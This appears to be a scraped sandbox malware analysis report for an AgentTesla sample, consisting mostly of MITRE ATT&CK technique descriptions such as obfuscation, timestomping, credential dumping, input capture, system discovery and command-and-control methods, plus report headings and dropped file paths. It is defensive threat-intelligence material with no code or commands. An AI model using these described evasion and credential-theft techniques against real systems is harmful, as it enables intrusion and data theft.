Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report oBMlky3Rkm7h5QK.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Persistence and Installation Behavior

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ECXXCuFHUVw.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\oBMlky3Rkm7h5QK.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\qZeUnR.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5byybizn.ydd.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j3jirewm.svn.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mecfh0fm.v4x.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mtmfindy.l3t.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mwpr00un.32k.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mwyglvgr.t1g.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ybagexgq.sl0.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zqqkgmgx.t25.psm1

Windows Analysis Report
oBMlky3Rkm7h5QK.exe

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre